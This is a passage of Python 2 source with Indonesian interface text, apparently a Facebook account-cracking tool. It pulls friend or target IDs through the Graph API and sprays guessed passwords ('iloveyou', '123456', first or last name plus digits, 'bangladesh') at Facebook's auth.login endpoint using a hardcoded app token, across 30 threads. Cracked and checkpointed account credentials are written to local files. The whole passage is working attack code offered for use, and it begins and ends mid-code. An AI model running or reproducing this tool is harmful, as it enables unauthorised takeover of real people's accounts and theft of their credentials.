sys.stdout.write("\r{}".format(datetime.now().strftime("\033[1;96m%H\033[1;91m:\033[1;93m%M\033[1;91m:\033[1;92m%S")));sys.stdout.flush() global cekpoint,oks zowe = arg try: os.mkdir('done') except OSError: pass try: an = requests.get('https://graph.facebook.com/'+zowe+'/?access_token='+toket) j = json.loads(an.text) bos1 = j['first_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos1 oke = open("done/bangla.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos1 cek = open("done/bangla.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") cek.close() cekpoint.append(zowe) else: bos2 = j['first_name'].lower()+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos2 oke = open("done/bangla.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos2 cek = open("done/bangla.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") cek.close() cekpoint.append(zowe) else: bos3 = j['first_name'].lower()+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos3 oke = open("done/bangla.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos3 cek = open("done/bangla.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") cek.close() cekpoint.append(zowe) else: bos4 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos4 oke = open("done/bangla.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos4 cek = open("done/bangla.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") cek.close() cekpoint.append(zowe) else: bos5 = ('bangladesh') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos5 oke = open("done/bangla.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos5 cek = open("done/bangla.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") cek.close() cekpoint.append(zowe) else: bos6 = j['first_name'].lower()+'786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos6 oke = open("done/bangla.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos6 cek = open("done/bangla.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") cek.close() cekpoint.append(zowe) else: bos7 = j['last_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos7 oke = open("done/bangla.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos7+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos7 cek = open("done/bangla.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos7+"\n") cek.close() cekpoint.append(zowe) else: bos8 = j['last_name'].lower()+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos8)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos8 oke = open("done/bangla.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos8+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos8 cek = open("done/bangla.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos8+"\n") cek.close() cekpoint.append(zowe) except: pass p = ThreadPool(30) p.map(main, id) print "\n\033[1;94m──────────────────────────────────────────────────" print '\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mSelesai ...' print"\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mTotal \033[1;92mOK\033[1;97m/\x1b[1;96mCP \033[1;97m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print '\033[1;97m{\033[1;96m●\033[1;97m} \033[1;92mOK\033[1;97m/\x1b[1;96mCP \033[1;96mfile tersimpan \033[1;91m: \033[1;92mdone/bangla.txt' print 50* "\033[1;94m─" raw_input("\033[1;97m{<\033[1;96mKembali\033[1;97m>}") os.system("python2 crot.py") ##### CRACK USA ##### def crack_usa(): global toket os.system('clear') try: toket=open('login.txt','r').read() except IOError: print"\033[1;96m[!] \x1b[1;91mToken invalid" os.system('rm -rf login.txt') time.sleep(1) keluar() os.system('clear') print logo print 50* "\033[1;94m─" print "\033[1;97m{\033[1;95m01\033[1;97m} Crack Dari Daftar Teman" print "\033[1;97m{\033[1;95m02\033[1;97m} Crack Dari Publik/Teman" print "\033[1;97m{\033[1;95m03\033[1;97m} Crack Dari File" print "\033[1;97m{\033[1;91m00\033[1;97m} Kembali" print 50* "\033[1;94m─" pilih_usa() #### PILIH USA #### def pilih_usa(): teak = raw_input("\033[1;95m︻デ═一▸ \033[91m:\033[1;92m ") if teak =="": print"\033[1;97m{\033[1;91m!\033[1;97m}\033[1;97m Isi Yg Benar !" pilih_usa() elif teak =="1" or teak =="01": os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;95m●●● \033[1;97mCRACK USA \033[1;95m●●●") print 50* "\033[1;94m─" r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif teak =="2" or teak =="02": os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;95m●●● \033[1;97mCRACK USA \033[1;95m●●●") print 50* "\033[1;94m─" idt = raw_input("\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mID Publik/Teman \033[1;91m:\033[1;92m ") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mNama \033[1;91m:\033[1;92m "+op["name"] except KeyError: print"\033[1;97m{\033[1;91m!\033[1;97m} ID publik/teman tidak ada !" raw_input("\n\033[1;95m[\033[1;97m<Kembali>\033[1;95m]") crack_usa() except requests.exceptions.ConnectionError: print"\033[1;97m{\033[1;91m!\033[1;97m} Tidak ada koneksi !" keluar() r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif teak =="3" or teak =="03": os.system('clear') print logo try: print 50* "\033[1;94m─" print (" \033[1;95m●●● \033[1;97mCRACK USA \033[1;95m●●●") print 50* "\033[1;94m─" idlist = raw_input('\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mNama File\033[1;91m :\033[1;92m ') for line in open(idlist,'r').readlines(): id.append(line.strip()) except KeyError: print '\033[1;97m{\033[1;91m!\033[1;97m} File tidak ada ! ' raw_input('\n\033[1;92m[ \033[1;97mKembali \033[1;92m]') except IOError: print '\033[1;97m{\033[1;91m!\033[1;97m} File tidak ada !' raw_input("\n\033[1;95m[\033[1;97m<Kembali>\033[1;95m]") crack_usa() elif teak =="0" or teak =="00": menu() else: print"\033[1;97m[\033[1;91m!\033[1;97m]\033[1;97m Isi Yg Benar !" pilih_usa() print "\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mTotal ID \033[1;91m:\033[1;92m "+str(len(id)) print('\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mStop Tekan CTRL+Z') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mCrack Berjalan "+o),;sys.stdout.flush();time.sleep(1) print("\n\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mGunakan Mode Pesawat Jika Tidak Ada Hasil") print ("\033[1;94m──────────────────────────────────────────────────") ##### MAIN USA ##### def main(arg): sys.stdout.write("\r{}".format(datetime.now().strftime("\033[1;96m%H\033[1;91m:\033[1;93m%M\033[1;91m:\033[1;92m%S")));sys.stdout.flush() global cekpoint,oks zowe = arg try: os.mkdir('done') except OSError: pass try: an = requests.get('https://graph.facebook.com/'+zowe+'/?access_token='+toket) j = json.loads(an.text) bos1 = ('iloveyou') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos1 oke = open("done/usa.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos1 cek = open("done/usa.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") cek.close() cekpoint.append(zowe) else: bos2 = ('123456') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos2 oke = open("done/usa.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos2 cek = open("done/usa.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") cek.close() cekpoint.append(zowe) else: bos3 = j['first_name']+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos3 oke = open("done/usa.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos3 cek = open("done/usa.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") cek.close() cekpoint.append(zowe) else: bos4 = j['first_name']+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos4 oke = open("done/usa.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos4 cek = open("done/usa.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") cek.close() cekpoint.append(zowe) else: bos5 = j['first_name']+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos5 oke = open("done/usa.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos5 cek = open("done/usa.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") cek.close() cekpoint.append(zowe) except: pass p = ThreadPool(30) p.map(main, id) print "\n\033[1;94m──────────────────────────────────────────────────" print '\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mSelesai ...' print"\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mTotal \033[1;92mOK\033[1;97m/\x1b[1;95mCP \033[1;97m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;95m"+str(len(cekpoint)) print '\033[1;97m{\033[1;95m●\033[1;97m} \033[1;92mOK\033[1;97m/\x1b[1;95mCP \033[1;95mfile tersimpan \033[1;91m: \033[1;92mdone/usa.txt' print 50* "\033[1;94m─" raw_input("\033[1;97m{<\033[1;95mKembali\033[1;97m>}") os.system("python2 crot.py") ##### CRACK PAKISTAN ##### def crack_pakis(): global toket os.system('clear') try: toket=open('login.txt','r').read() except IOError: print"\033[1;96m[!] \x1b[1;91mToken invalid" os.system('rm -rf login.txt') time.sleep(1) keluar() os.system('clear') print logo print 50* "\033[1;94m─" print "\033[1;97m{\033[1;91m01\033[1;97m} Crack Dari Daftar Teman" print "\033[1;97m{\033[1;91m02\033[1;97m} Crack Dari Publik/Teman" print "\033[1;97m{\033[1;91m03\033[1;97m} Crack Dari File" print "\033[1;97m{\033[1;91m00\033[1;97m} Kembali" print 50* "\033[1;94m─" pilih_pakis() #### PILIH PAKISTAN #### def pilih_pakis(): teak = raw_input("\033[1;91m︻デ═一▸ \033[91m:\033[1;92m ") if teak =="": print"\033[1;97m{\033[1;91m!\033[1;97m}\033[1;97m Isi Yg Benar !" pilih_pakis() elif teak =="1" or teak =="01": os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;91m●●● \033[1;97mCRACK PAKISTAN \033[1;91m●●●") print 50* "\033[1;94m─" r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif teak =="2" or teak =="02": os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;91m●●● \033[1;97mCRACK PAKISTAN \033[1;91m●●●") print 50* "\033[1;94m─" idt = raw_input("\033[1;97m{\033[1;91m●\033[1;97m} \033[1;91mID Publik/Teman \033[1;91m:\033[1;92m ") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;97m{\033[1;91m●\033[1;97m} \033[1;91mNama 